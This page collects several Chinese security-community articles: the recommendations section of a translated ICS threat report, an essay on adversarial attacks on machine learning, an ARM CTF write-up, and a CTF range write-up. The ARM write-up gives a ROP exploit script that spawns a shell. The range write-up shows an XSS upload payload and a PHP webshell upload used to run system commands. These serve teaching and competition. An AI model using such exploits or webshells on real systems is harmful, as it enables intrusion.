奇怪的是，基于电子邮件的威胁的情况有所不同：遭受电子邮件客户端威胁攻击的ICS计算机比例与人均GDP水平没有曾现出相关性。
不同国家的人均GDP排名（X轴）与该国家遭受电子邮件客户端威胁攻击的ICS计算机比例（Y轴）
这意味着，如果假设整体信息安全水平较高是一个国家人均GDP水平较高的特征，这无助于防护基于电子邮件的攻击。也就是说，信息安全水平对穿透网络边界到达ICS计算机的钓鱼邮件和恶意附件的数量没有实质性的影响。可能的解释是，无论企业的整体网络安全水平如何，旨在防护电子邮件攻击的工具要么没有在网络边界上使用，要么没有进行正确的配置。
遭受电子邮件客户端威胁攻击的ICS计算机比例的区域排名并未显示出什么价值。在其它方面表现较好的澳大利亚（5.8%）这次排名榜首，而大多数其它地区的数字则在2.5％至4.6％之间。
2018年上半年遭受电子邮件客户端威胁攻击的ICS计算机比例的区域排名
值得注意的是，在遭受电子邮件客户端威胁攻击的ICS计算机比例的国家/地区排名中，澳大利亚仅排在第11位。奇怪的是，在电子邮件威胁方面表现最差的15个国家中，还包括在其它方面表现较好的比利时、意大利和南非。
2018年上半年遭受电子邮件客户端威胁攻击的ICS计算机比例排名前15的国家/地区
我们认为对于这些观察结果应该谨慎处理，因为电子邮件常被用于针对工业企业的有针对性攻击之中。我们在[这里](https://ics-cert.kaspersky.com/reports/2017/06/15/nigerian-phishing-industrial-companies-under-attack/)和[这里](https://ics-cert.kaspersky.com/reports/2018/08/01/attacks-on-industrial-enterprises-using-rms-and-teamviewer/)报告过类似的攻击活动。
### 2.7、针对工业自动化系统的恶意软件
2018年上半年，安装在工业自动化系统中的卡巴斯基实验室安全解决方案检测到来自于2800个不同恶意软件家族的超过1.94万个恶意软件变体。
和以前一样，针对ICS计算机的感染企图大多数都是随机的攻击，而不是针对性攻击。
2018年上半年遭受攻击的ICS计算机中恶意软件的类别分布
### 2.8、恶意软件平台
2017年下半年 vs 2018年上半年，遭受攻击的ICS计算机中恶意软件主要平台的分布
上图中：
· Windows平台的数据包含了x86和x64的所有威胁；
· 浏览器平台的数据包含了针对浏览器的攻击和恶意HTML页面的所有威胁；
· Microsoft Office平台的数据包含了针对相关软件的所有威胁（包括Word、Excel、PowerPoint以及Vision等）；
2018年上半年，攻击者继续针对存在漏洞的合法网站，以在这些网站上托管恶意软件的组件。值得注意的是，2018年上半年遭受浏览器威胁攻击的ICS计算机比例的增长是由于JavaScript恶意挖矿脚本攻击的增长导致的。
在同一时期内，遭受Microsoft
Office文档攻击的ICS计算机的数量的增长与钓鱼邮件浪潮有关。大多数情况下，这类邮件的恶意附件都是包含漏洞利用的Microsoft
Office文档，其目的是使计算机感染间谍软件。不了解这种威胁的用户常常会将这些恶意文档转发给他们的同事，或是通过可移动磁盘和共享文件夹传输此类文档，从而在无意中帮助传播了恶意软件。这就是为什么需要在ICS计算机上严格限制对办公软件的使用（例如Microsoft
Office、PDF等）。
### 2.9、Exploits（漏洞利用程序）
遭受exploits攻击的ICS计算机的比例增长了1个百分点，达2.8%。
遭受攻击的ICS计算机中不同类型的exploits的比例
应该注意的是，攻击者经常将Visual
Basic脚本语言编写的下载程序（downloader）作为exploit的有效荷载（payload），或者是直接嵌入到office文档中。这类脚本只有在系统上安装了Windows脚本宿主环境（WSH）时，才能执行。而WSH通常在Windows的安装期间默认进行安装。这意味着要保护系统免遭VBS恶意软件的危害，应该在Windows注册表中禁用WSH，除非你的工业控制系统运营需要用到WSH。这一规则对于Java编写的恶意软件同样有效：如果工业控制系统的运营不需要用到Java运行时，建议不要使用它来降低感染风险。
ShadowBrokers在2017年3月泄露了其exploits，这些exploits随后被勒索软件WannaCry和ExPetr所利用。在2018年上半年，这些exploits仍然被多种不同的恶意程序所利用。利用这些exploits的攻击数量的增长是Windows
x86和x64平台的ICS计算机遭受攻击的比例增长的背后原因。
### 2.10、间谍软件
遭受间谍软件（包括间谍木马和PSW木马）攻击的ICS计算机的比例增长了0.4个百分点。
间谍软件通常通过钓鱼邮件进行分发。一个突出的例子是韩国，其在遭受间谍软件攻击的ICS计算机比例的排行榜上排名榜首（6%）。该国家的大多数间谍软件都是通过针对亚太地区用户的钓鱼邮件进行分发的。
值得注意的是，世界上不同区域的大多数此类钓鱼邮件都非常相似（标题、消息文本以及文件名称都很相似）。唯有亚洲地区例外，亚洲地区的钓鱼邮件都很有“亚洲”风格：所有针对亚洲用户的钓鱼邮件中提及的工业公司都位于亚洲。
还应该指出的是，在遭受后门攻击的ICS计算机比例中韩国（6.4%）排名第三。第一名是越南，其数字达到了惊人的9.8%。
## 三、建议
我们建议采取多种信息安全措施来防护本报告中描述的威胁。
根据安全专家的经验，以下安全措施基于重要性与实施难度的比值进行排列。
这份清单的内容并非巨细无遗。我们编制它是为了记录整个报告期间我们的研究所发现和分析的工业企业及工业自动化系统中的信息安全问题。
具体而言，这些建议不包含诸如以下这样的措施：除了用于自动化工业流程的协议之外，配置防火墙以阻止工业网络外部的其它连接；或者是，阻止互联网到工业网络主机的直接连接。这是因为，根据我们在工业企业进行的工业网络审计和渗透测试的结果，我们认为绝大多数企业已经采取了这样的措施。
### 3.1、措施列表一（不需要企业进行组织变更、增加额外人员、调整业务流程/工业流程或是对信息系统进行重大修改）
我们认为这些措施可以帮助企业走出保护工业基础设施的第一步。我们还认为，无论其信息安全流程的成熟度如何，这些措施都适用于大多数组织。
1\. 使用防病毒解决方案保护工业网络中的所有主机。
· 检查所有的主要保护组件是否已启用并正在运行。
· 避免将包含ICS软件、OS系统文件夹或用户配置文件的文件夹排除在保护范围之外。
· 如果可能，在扫描时避免使用任何排除项。
· 确保每24小时至少更新一次防病毒数据库。如果可能，应根据安全解决方案供应商提供的建议更新数据库。
· 检查安全解决方案是否已配置为在连接到主机时自动扫描可移动媒体。
· 如果可能，配置为[从供应商的反恶意软件云中立刻接收最新的verdicts](http://ksn.kaspersky.com/)。
2\. 在安装在工业网络边界的防火墙上配置规则。
· 阻止对文件系统对象的远程访问服务请求，例如SMB/CIFS和/或NFS（适用于针对Linux系统的攻击）
·
配置规则以限制远程管理工具的使用。创建白名单机制，只允许列表上的地址访问工业网络中的系统。确保白名单只包含可信资源的地址，并且不包含管理工具供应商的云基础设施以及其它不可信和未知的地址。
· 阻止在工业网络内部使用外部电子邮件服务。
· 阻止外部的HTTP/HTTPS电子邮件服务。
· 阻止社交网络。
· 阻止基于云的文件存储服务。
· 阻止种子。
3\. 在企业网络内部及其边界配置垃圾邮件和钓鱼邮件的防护方案。
· 确保根据供应商建议的频率更新反垃圾邮件和反钓鱼邮件解决方案。
· 如果可能，配置为连接到供应商的云服务以立刻更新verdicts。
4\. 在组织的网络边界配置防病毒解决方案，并限制对恶意/潜在有害的在线资源的连接。
5\. 审计工业网络中电子邮件的使用。
· 使用防病毒解决方案阻止工业网络计算机上的外部电子邮件服务。
· 在可能的范围内，在工业网络中阻止企业电子邮件，删除所有已安装的电子邮件客户端，或者使用应用程序启动控制工具阻止其运行。
· 禁用“mailto”服务。
6\. 审计工业网络中的网络共享文件夹的使用。
· 除非工业流程所需，否则断开所有的网络共享文件夹。
· 除非工业流程所需，否则断开文件系统的远程访问服务，包括SMB/CIFS以及NFS。
7\. 审计工业网络中的第三方远程管理工具的使用，例如VNC、RDP、TeamViewer RMS/Remote
Utilities。删除所有工业流程不需要的远程管理工具。
8\. 除非工业流程所需，否则禁用ICS软件中的远程管理工具（详细说明请参考相关软件的文档）。
9\. 审计工业网络中会大大增加ICS攻击面的其它软件的使用。除非工业流程所需，否则删除所有此类软件。应特别强调以下类型的软件：
· Web浏览器
· 社交网络客户端
· 电子邮件客户端
· 微软Office软件
· Adobe软件
· Java Runtime
· 媒体播放器
· Perl、Python和PHP等脚本解释器
· 未经许可的“破解”软件 – 此类软件通常包含后门，或者感染了恶意软件
10\. 除非工业流程所需或者工业控制系统的运营所需，否则禁用Windows脚本宿主环境（WSH）。
11\.
如果可能，在工业网络中使用Windows域组策略限制本地系统管理员的SeDebugPrivilege权限（某些软件产品可能需要此类权限，例如Microsoft
SQL Server – 请参阅不同系统供应商提供的相关文档）。
### 3.2、措施列表二（为具有高度信息安全成熟度的组织设计的措施）
在不成熟的组织中应用这些措施可能需要花费大量的时间或资源，需要组织新的网络安全流程、改变人员配置并涉及到其它复杂情况等。
1\. 建立企业员工的网络安全培训流程。
·
为员工组织网络安全培训课程，提高他们对现代网络威胁的认识。包括攻击的目标、技术和针对工业企业的攻击场景，以及这些攻击可能对工业流程和业务流程造成的危险，防范攻击和预防事件的方法等。
·
定期组织有关网络威胁和防护方法的培训，重点是关注威胁形势的变化，以及组织新员工的培训。考虑通过培训平台（在线平台或企业平台）、网络研讨会和之前培训课程的录像资料来使员工培训变得更加方便。
· 实施员工简报（关于防范网络威胁）的做法。
· 为企业员工提供信息材料，提醒他们关于防范网络威胁的必要性，可以是海报、宣传册等等。
· 定期组织网络安全演练以及该领域的员工知识审核。
2\. 建立工业信息安全和网络防御服务。
· 任命一位负责工业网络信息系统安全防护的官员。
· 使得工业网络的防护成为企业整体信息安全保障流程的一个重要组成部分。
· 组织协调企业中的各种纵向和横向部门/服务的工作，以提供有效的威胁防护，包括工程师、操作员、IT以及IS等。
· 与自动化系统和安全解决方案的供应商建立有关网络安全问题的有效沟通机制。
· 在工业网络中建立信息安全事件的响应流程。
3\. 引入针对工业网络信息系统的信息安全状态的定期审核机制。
·
在工业网络的所有主机上盘点运行的网络服务；在可能的情况下，停止（或者，最好是禁用/删除）易受攻击的网络服务（除非这会危及工业流程的持续性）以及自动化系统的运营并不直接需要的其它服务。应特别强调以下服务：SMB/CIFS、NBNS以及LLMNR。
· 审核ICS组件的权限分离，尽量实现最大的访问粒度。
· 审核工业网络及其边界的网络活动。消除工业流程不需要的与外部和其它相邻信息网络的任何网络连接。
· 审核对工业网络的远程访问的安全性；尤其强调是否按照IT安全要求建立了隔离区（DMZ）。
·
审核与可移动媒体及便携式设备的使用有关的策略与实践。阻止那些提供非法访问外部网络和互联网的设备连接到工业网络主机。应尽可能禁用相关端口或使用正确配置的专业工具限制其访问。
·
审核账户和密码策略。用户和服务帐户应该只具有正确操作设施所需的权限。应该尽可能限制具有管理员权限的用户帐户的数量。应使用强密码策略（长度至少为9个字符，包含大小写字母、数字以及特殊字符；不应该包含字典中的单词），并通过域策略强制定期修改密码（例如每90天修改一次）。应尽可能使用更安全的NTLMv2和Kerberos算法替换不安全的身份验证算法（如NTLM）。
4\. 在工业网络中建立系统安全漏洞的及时修复流程。
· 访问关于ICS产品、网络设备和通用组件中的漏洞的信息源，建立对此类信息的处理和分析流程。
· 在工业网络及其边界实施系统的定期扫描流程。考虑部署针对工业网络系统的专有漏洞检测工具。
· 针对工业网络中的系统定期进行操作系统、应用软件及安全解决方案的更新。
· 在工业自动化系统和安全仪表系统中及时安装设备固件的更新。
5\. 使用下面列出的专业技术来实施自动化的保护机制。通常情况下，一个经过微调的、仔细测试的以及高度发展的信息安全事件监测和响应机制是必要的前提。
·
将应用程序启动控制配置成白名单模式（针对工业网络主机的反恶意软件解决方案通常集成了此类功能）。如果该方案不可行，则将应用程序启动控制配置成监测模式并将相关信息发送给负责信息安全的员工。
·
部署专用工具（针对工业网络主机的反恶意软件解决方案通常集成了此类功能）以确保计算机的完整性，包括操作系统和应用软件（尤其是ICS软件）的关键区域和配置文件。如果该方案不可行，则将完整性控制配置成监测模式并将相关信息发送给负责信息安全的员工。
· 配置外部设备连接控制（针对USB设备、手机等）。
· 启用防病毒解决方案中的主机入侵防御系统（HIPS）组件。
· 部署用于盘点连接到工业网络的设备以及控制新设备连接的自动化工具。这需要聘请高素质的专业人员来监测和响应事件。
·
在工业网络中部署专用的网络流量监测、网络异常及攻击检测的工具。大多数情况下，这类工具并不需要对ICS系统的结构和配置做出任何改变，并且可以进行热部署。然而，为了有效使用这些工具，高素质的专业人员、与其它异常检测工具进行集成以及一个高度发展的工业/企业网络信息安全流程可能是必要的前提。
6\. 部署用于记录工业网络信息安全事件和相应事件的自动化处理流程的专用工具。
7\. 针对相关威胁建立信息收集和处理机制，以确保能够正确和及时地响应新的攻击，并阻止任何事件发生。
· 关于新出现的针对工业企业的攻击和恶意活动的专有威胁情报报告。
· 关于已知攻击者在针对工业企业的攻击中使用的策略、技术和流程（TTP）的分析报告。
· 工业企业的威胁状况报告。
· 工业网络主机的入侵指标（IoC）。
### 3.3、措施列表三（需要对工业网络的配置和拓扑进行重大更改，并涉及到对企业的信息系统进行重大更改）
1\.
请记住，通常情况下完全隔离工业网络和相邻的网络是不可能的。我们建议采取以下措施以在工业网络和具备不同信任级别的其它网络之间提供更安全的远程访问和数据传输：
· 将24小时或定期与外部网络进行连接的系统（移动设备、VPN集中器、终端服务器等）隔离到工业网络的一个单独的部分 – 隔离区（DMZ）。
· 将隔离区中的系统划分子网或虚拟子网（VLAN），严格限制子网之间的访问（只允许必要的通信）。
· 工业网络与外部世界（包括企业的员工网络）之间的所有必要通信都通过DMZ进行。
· 如有必要，在DMZ中部署支持反向连接（从工业网络到DMZ）的终端服务器。
· 从外部访问工业网络时（使用反向连接方法），尽可能使用精简的客户端。
· 阻止从DMZ到工业网络的访问。
· 严格限制组织的网络与其他公司之间的边界路由器上使用的端口和协议的网络流量（如果有信息从一家公司的工业网络传输到另一家公司的话）；
· 如果企业的业务流程支持单向通信，我们建议考虑使用数据二极管技术（data diodes）。
2\.
在部署和启动新的ICS系统及组件之前，作为新ICS组件评估流程的一部分，我们建议对其进行是否符合安全要求的测试，包括进行漏洞扫描（已知漏洞和新漏洞）。这将有助于显著降低信息安全的成本。
3\. 在所有其它条件都相同的情况下，我们建议优先使用考虑了安全性的供应商开发的产品，例如，采取了安全域分割以及MILS（多重独立安全层）等措施。
4\. 为了防护中间人攻击，我们建议企业在工业网络内部及其边界都考虑使用强通信加密 – 至少也要在企业的工业流程和业务流程以及设备支持的地方使用强加密。
5\. 在某些情况下，即使现有设备不支持此功能，也可以在工业网络的组件之间配置流量加密 –
在这种情况下，可以使用额外的工具。我们建议您咨询您的自动化系统供应商。
6\. 对于需要访问工业网络系统的员工，最好使用双因素身份验证。
7\. 我们建议部署PKI基础设施，以简化对身份验证和加密过程的支持。
8\.
为了减少与供应链攻击（即通过供应商和承包商进行的攻击）相关的风险，考虑通过一种策略、机制或是流程来限制设备（如承包商和工程师的笔记本电脑）连接到工业网络。 | 社区文章 |
# 【技术分享】安全领域中机器学习的对抗和博弈
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**作者：**[ **bind0g**](http://bobao.360.cn/member/contribute?uid=2777870006)
**稿费：600RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**0x00 背景**
最近，偶然看到一篇论文讲如何利用机器学习从加密的网络流量中识别出恶意软件的网络流量。一开始认为这个价值很高，毕竟现在越来越多的恶意软件都开始使用TLS来躲避安全产品的检测和过滤。但是看完论文之后又有些失望，虽然文章的实验结果非常漂亮，但是有一点治标不治本的感觉，机器学习又被拿来作为一个噱头。
回顾过去的几年，机器学习在安全领域有不少应用，但其处境却一直比较尴尬：一方面，机器学习技术在业内已有不少成功的应用，大量简单的重复性劳动工作可以很好的由机器学习算法解决。但另一方面，面对一些“技术性”较高的工作，机器学习技术却又远远达不到标准。
和其他行业不同，安全行业是一个比较敏感的行业。比如做一个推荐系统，效果不好的最多也就是给用户推荐了一些他不感兴趣的内容，并不会造成太大损失；而在安全行业，假如用机器学习技术做病毒查杀，效果不好的话后果就严重了，无论是误报或漏报，对客户来说都会造成实际的或潜在的损失。
与此同时，安全行业也是一个与人博弈的行业。我们在其他领域采用机器学习算法时，大部分情况下得到数据都是“正常人”在“正常的行为”中产生的数据，因此得到的模型能够很好的投入实际应用中。而在安全领域，我们的实际对手都是一帮技术高超、思路猥琐的黑客，费尽心思构建的机器学习模型在他们眼中往往是漏洞百出、不堪一击。
如何让机器学习从学术殿堂真正走进实际应用，是每个安全研究人员值得思考的问题。本文从我所了解的一些案例和研究成果谈谈个人的看法和思考。
**
**
**0x01 从加密的网络流量中识别恶意软件？** ****
既然文章的开头提到了从加密的网络流量中识别恶意软件，我们先来看看这个论文的作者是如何考虑这个问题的，他们发现，在TLS握手阶段（该过程是不加密的），恶意软件所表现出的特征与正常的应用有较大区别。典型的TLS握手过程如下图所示：
在握手的第一阶段，客户端需要告诉服务端自身所支持的协议版本、加密和压缩算法等信息，在这个过程中，正常的应用（用户能够按时更新）使用高强度加密算法和最新的TLS库，而恶意软件所使用的往往是一些较老版本协议或强度较低的加密算法。以此作为主要特征，加上网络流量本身的信息如总字节数大小、源端口与目的端口、持续时间以及网络流中包的长度和到达次序等作为辅助特征，利用机器学习算法即可训练得到一个分类模型。
看完这段描述，我的内心是崩溃的，因为该方法是把TLS握手阶段的信息作为主要特征来考虑的。道高一尺，魔高一丈。以其人之道，还治其人之身，这句话点中了机器学习的死穴，我相信凡是看到这个篇论文的黑客都会想到：以后写木马的时候一定要采用最新版本的TLS库，和服务器通信时采用加密强度较高的算法，尽量选取和正常应用类似的参数……做到以上几点，论文中提出的方法就可以当成摆设了。
**0x02 域名生成算法中的博弈**
早期的一些DGA算法所产生的域名有着比较高的辨识度，例如下面这些域名
给我们的直观感受就是英文字母随机出现，而且不是常见的单词或拼音的组合，而且很难“念”出来。事实上这些特征可以用马尔可夫模型和n-gram分布很好的描述出来，早就有相应的算法实现，识别的效果也非常不错。然而，很快就出现了一些升级版的DGA算法，如下面的这个域名
indianbrewedsmk.rutwistedtransistoreekl.biz
这无非就是随机找几个单词，然后拼凑在一起构成的域名，但是却完美的骗过了我们刚才提到的机器学习方法，因为这个域名无论从马尔可夫模型或是n-gram分布的角度来看，都和正常的域名没有太大的区别。唯一可疑的地方就是这个域名的长度以及几个毫无关联拼凑在一起的单词，所以额外从这两个角度考虑仍然可以亡羊补牢。
更有甚者，在今年的BSidesLV
2016上，有人提出了一种基于深度学习的DGA算法——[[DeepDGA]](https://arxiv.org/pdf/1610.01969v1.pdf)，将Alexa上收录的知名网站域名作为训练数据，送入LSTM模型和生成对抗网络(GAN,
Generative Adversarial Networks)训练，最终生成的随机域名效果拔群。如下图所示(左侧是给定的输入)
从字符的分布情况上来看，也与正常网站的域名基本一致
随着深度学习技术的普及，或许在不久的将来安全研究人员就可以“惊喜的”发现某个勒索软件家族开始采用这种高端的域名生成算法了……
**0x03 来自恐怖分子的垃圾邮件**
事实上类似域名生成算法的博弈早就出现了，2003年美国打击塔利班武装时，从一名恐怖分子手中缴获了一台笔记本电脑，发现里面用于通信的电子邮件的风格都是典型的垃圾邮件，而真正传递的消息暗藏于这样的垃圾邮件中。因为面对NSA这样无孔不入的情报机构，越是遮遮掩掩，越是采用高强度的加密，反而越容易被盯上。同样因为NSA的无孔不入，他们每天需要处理的数据量也是天文数字，仔细检查所有数据是不可能的，必须有所取舍，而这其中有一类数据恰恰是被NSA所忽视的，那就是每天成千上万的垃圾邮件。在机器学习算法大行其道的今天，各大邮件服务提供商早就配备了一套成熟的垃圾邮件检测系统，无论是采用逻辑回归算法或是SVM算法，只要加上几句诸如优惠代开各类发票或是想免费拥有自已的xxx这样的垃圾邮件标配，妥妥的直接过滤掉。如果一封邮件都被邮件服务提供商认定为垃圾邮件，NSA又有什么理由去进一步怀疑呢？
退一步讲，如果NSA想找出混在垃圾邮件中的有价值情报该怎么做呢？设关键词吗，上更复杂的机器学习算法吗？要是恐怖分子采用类似“藏头诗”这样的信息隐藏手法怎么办？
有的同学说还可以通过邮件的通连关系啊，如果你听说过“死邮件”就不会这么想了。两人共用一个账号，利用邮箱的草稿箱传递消息，完全没有邮件的发送与接收等通连关系，这又是不按套路出牌。
**0x04 容易被骗的图像识别**
近几年来，如果你稍有关注图像识别领域，就知道基于深度学习技术的图像识别技术在各大图像识别比赛中大放异彩，甚至在某些任务上超过了人类。虽然目前人们仍然不能很好的解释为什么深度学习技术如此有效，但这依然阻挡不住众多数据科学家们孜孜不倦的搭建模型、调优参数。
但正当一票又一票研究小组努力“刷榜”的时候，另一些人总是能看的更远一些。谷歌的Szegedy研究员就发现，基于深度学习的图像识别技术可能并不如我们相像的那么靠谱，利用一些简单的trick即可将其轻松欺骗。如下图所示：
这两幅图在我们正常人眼中并没有太大区别，但是对图像识别系统，左图能够正确的识别为熊猫，右图却识别成了长臂猿，而且是99.3%的置信度
而更为诡异的是一些在我们人类看起来毫无意义的图片，却被图像识别系统“正确”的识别了出来。比如下面这些例子
**0x05 一起躺枪的自动驾驶**
关于自动驾驶汽车的安全问题，国内外众多安全公司和研究人员已经做了很多次详细的分析和现场演示。例如在今年的ISC
2016上，来自浙大的徐文渊教授团队和360汽车信息安全实验室共同演示的针对特斯拉Model
S汽车自动驾驶技术的攻击，通过干扰特斯拉汽车的三种传感器(超声波传感器、毫米波雷达和前置高清摄像头)，可以实现强制停车、误判距离、致盲等多种不安全的情况。
以上都是黑客主动发起的攻击，自动驾驶自身也存在着缺陷。今年5月发生在美国发生的自动驾驶系统致人死亡的案例也引发了社会的大量关注：
按照特斯拉的解释，这起事故发生时，车主布朗正驾驶Model S行驶在一条双向、有中央隔离带的公路上，自动驾驶处于开启模式，此时一辆牵引式挂车与Model
S垂直的方向穿越公路。特斯拉表示，在强烈的日照条件下，驾驶员和自动驾驶系统都未能注意到牵引式挂车的白色车身，因此未能及时启动刹车系统。而由于牵引式挂车正在横穿公路，且车身较高，这一特殊情况导致Model
S从挂车底部通过时，其前挡风玻璃与挂车底部发生撞击，导致驾驶员不幸遇难。
正如这起事件暴露出来的问题，当车身周围传感器和车前的毫米波雷达都失灵时(当然该案例中这传感器和毫米波雷达并未失灵，而是由于毫米波雷达安装过低，未能感知到底盘较高的卡车)，唯一能依靠的输入就是车窗前方的高清摄像头。我们来看看事发当时的街景现场
以及被撞的卡车样式(注意白色车身上什么标致都没有)
由于车前的高清摄像头为长焦镜头，当白色拖挂卡车进入视觉区域内的时候，摄像头只能看到悬浮在地面上的卡车中部，而无法看见整个车辆，加上当时阳光强烈(蓝天白云)，使得自动驾驶统无法识别出障碍物是一辆卡车，而更像是飘在天上的云。再加上当时特斯拉车主正在玩游戏，完全没有注意到前方的这个卡车，最终导致悲剧发生。
结合刚才的图像识别对抗样本和浙大徐文渊教授团队的研究成果，我们完全有可能设计一个让自动驾驶系统发生车祸的陷阱，例如在某个车辆上喷涂吸收雷达波的涂料以及带有迷惑性的图案，让自动驾驶系统无法识别出前方的物体；再比如，找个夜深人静的夜晚在道路标识上加一些“噪音”，人类可以正常识别，而自动驾驶系统却会误判等等。
**0x06 邪恶的噪音与隐藏的指令**
除了容易被骗的图像识别系统，我们每个人手机上的语音助手同样不靠谱，也许未来某天你正在使用语音助手时，旁边突然传来一串奇怪的声音，你的手机就诡异的打开了某个挂马网站或者给一个完全不认识的人转账。
来自加州大学伯克利分校的Carlini等人发现一些语言助手如`Google
Now`和`Siri`都有可能理解一些人类无法辨识的“噪音”，并将其解析为指令进行执行。其实原理并不难理解，人工生成这种邪恶的噪音流程如下
如图所示，这是一个反复迭代的过程。我们首先通过抽取正常语音中关键特征，再做一次“逆向特征”合成语音并加入一些噪音作为候选，并将其分别给语音识别系统和正常人播放试听，直到得到一个语音识别系统可以识别而人类无法辨识的邪恶噪音。
**0x07 思考与对策**
看完上文中提到的这些案例和分析，相信同学们有自己看法和认识。我也简单谈谈我个人的一些思考。
1\.
最基本的一点是不要迷信机器学习，不要觉得机器学习是解决一切问题的银弹。有的同学总觉得自己懂机器学习，那些靠人工上规则的办法就是low，这种就是典型的学术思维，真正在业务系统中纯粹靠机器学习算法硬上的迟早是要栽跟头的。只有抛开这种观念，从实际角度出发才能想出切实可行的方法。
2\.
尽量从多个数据来源或者多个特征维度综合分析。以随机域名生成算法为例，单靠域名本身的特征很难判断其是否为C&C域名时，就应该从多个数据渠道入手进一步分析，如恶意软件家族的域名关联关系以及和某个可疑进程的通信行为等。
3\. 要有未雨绸缪的思维，在用机器学习算法解决一个问题的同时，应该从黑客猥琐的角度思考如何攻击这个算法，而不是简单的回避，为了解决问题而解决问题。
4\. 本文提到了对抗样本现象(图像识别、语音识别都有涉及)，目前学术界称之为**生成对抗网络(GAN, Generative Adversarial
Networks)**，虽然目前还没有实际的攻击案例，但特斯拉的车祸其实已经敲响了警钟。就像著名黑客Barnaby Jack在Black Hat USA
2010上演示的针对ATM机的攻击，当时人们觉得非常科幻，现实中不一定存在这样的威胁，而今年发生的几起黑客攻击ATM机事件(`台湾第一银行ATM机遭黑客入侵
吐出7000万台币`、`泰国ATM机被入侵导致1200万泰铢被盗`)才让人们真正意识到原来这些看似只在电影的中发生的情节在真实世界中同样存在。
当黑客都开始研究机器学习技术了，我们又有什么理由落后呢？
**参考资料**
1. [[DeepDGA: Adversarially-Tuned Domain Generation and Detection]](https://arxiv.org/pdf/1610.01969v1.pdf)
2\. [[Predicting Domain Generation Algorithms with Long Short-Term Memory
Networks]](https://128.84.21.199/pdf/1611.00791.pdf)
3\. [[Intriguing properties of neural
networks]](https://arxiv.org/pdf/1312.6199.pdf)
4\. [[Explaining and Harnessing Adversarial
Examples]](https://arxiv.org/pdf/1412.6572v3.pdf)
5\. [[Deep Neural Networks are Easily Fooled: High Confidence Predictions for
Unrecognizable Images]](https://arxiv.org/pdf/1412.1897.pdf)
6\. [[Hidden Voice
Commands]](https://www.georgetown.edu/sites/www/files/Hidden%20Voice%20Commands%20full%20paper.pdf) | 社区文章 |
# arm架构pwn的万能gadget利用
### 例题babyarm
直接上例题，边看边讲
32位，开了NX、relro部分开启
程序前面有个加密，当我们输入的内容加密后与"Sp5jS6mpH6LZC6GqSWe="相同，程序会给我们一个能来进行栈溢出read
这道题放x86架构下，只要逆向出密码后面就是ret2libc的打法
但是在arm架构下，我们找到合适的gadget并调试的过程可能会更麻烦些
而且这道题还ban掉了csu打法，让本就不富裕的攻击手段雪上加霜
没有直接能控制r0的gadget，那我们要泄露libc地址只能寻找一下别的gadget
但我们可以注意到这个`pop {r4, r5, r6, r7, r8, sb, sl, pc}`特殊的gadget，也就是所谓的万能gadget
通过这个我们可以控制r7的值，从刚才的init函数中我们可以发现`mov r0，r7`这条指令，可以间接控制r0
同时，我们可以发现下面再执行会跳转到r3 所储存的地址，而我们有着可以直接控制r3
的gadget，通过构造puts(puts_got)我们即可获取libc地址
sla('msg> ','s1mpl3Dec0d4r')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
r4_pc = 0x00010cb0
r3 = 0x00010464
movcall = 0x00010ca0
vuln = 0x0010B60
pl = b'a'*0x2c+p32(r4_pc)+p32(0)+p32(0)+p32(0)+p32(puts_got)+p32(0)+p32(0)+p32(0)
#控制r7为puts_gots
pl += p32(r3)+p32(puts_plt)+p32(movcall)
#控制r3为puts_plt，并通过mov_call将r7传参给r0，并执行r3
pl += p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(vuln)
#往下执行到pop{r4-r10,pc}，要重新控制程序流，跳回vuln
p.sendlineafter('comment> ',pl)
leak出libc地址，劫持程序流
libcbase = uu64(r(4)) - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + 0x00131bec
leak('libcbase',libcbase)
看一下详细过程，思路简单但是调试的过程很麻烦
si、ni等指令在调试中很难用
paylaod送入
`pop {r4, r5, r6, r7, r8, sb, sl, pc}`:
`pop {r3 , pc}:`
`movcall`:
送入shellcode
sla('msg> ','s1mpl3Dec0d4r')
pl = b'a'*0x2c+p32(r4_pc)
pl += p32(0)+p32(0)+p32(0)+p32(binsh)+p32(0)+p32(0)+p32(0)
pl += p32(r3)+p32(system)+p32(movcall)
#call r3
# r0: r7
p.sendlineafter('comment> ',pl)
| 社区文章 |
极客巅峰第二场wp
今天打了一场极客巅峰，因为第一场太忙了，没时间打，也错过了，今天的题目相对来说简单多了，比网鼎杯啥的。都比较简单。
CTF题目后续更新上去。我先上靶场题目。
1、 抛转引玉
前面一直进不去靶机。无奈只能从第二题开始做起。
最后才开始做的这个题目。=。=， 给了提示有源码泄露，扫描了一下有一个www.zip
然后打开一下 ，找到config.php 发现题目的root 密码
实在是没办法。进不去靶机。然后就没有任何想法了！！！
2、暗度陈仓
首先是获取到上传的点，那么AVWS扫描一下
发现一个上传的点
POST /u-Are-Admin/upload.php HTTP/1.1
Content-Length: 245
Content-Type: multipart/form-data; boundary=-----Boundary_ODQHWGAHQO
Referer: <http://a9b4647b-33c9-4d48-8d35-16e1314658ef.dgctf.ichunqiu.com>
Cookie: __jsluid=b23d517051dec168d36413d25619c6db
Host: a9b4647b-33c9-4d48-8d35-16e1314658ef.dgctf.ichunqiu.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML,
like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: _/_
\-------Boundary_ODQHWGAHQO
Content-Disposition: form-data; name="myfile"; filename="1<video><source
onerror="javascript:ej8C(9566)">"
Content-Type: image/png</video>
1<video><source onerror="javascript:ej8C(9566)">
\-------Boundary_ODQHWGAHQO--
提交/u-Are-Admin/ 就OK</video>
提交系统的hack用户名的全名
首先需要getshell
<http://a9b4647b-33c9-4d48-8d35-16e1314658ef.dgctf.ichunqiu.com/u-Are-Admin/>
这个地方可以上传
上传一个shell上去
<http://a9b4647b-33c9-4d48-8d35-16e1314658ef.dgctf.ichunqiu.com/u-Are-Admin/u-upload-file/3.phP>
菜刀连接一下
执行一下net users
发现hack 全名是Hacked356
然后桌面的admin.txt 内容为：
ad16a159581c7085c771f5d2a80af0d1
3.漫天过海
这个题目就是一个注入
没有任何技巧
4.偷梁换柱
这个题目就有点意思了。
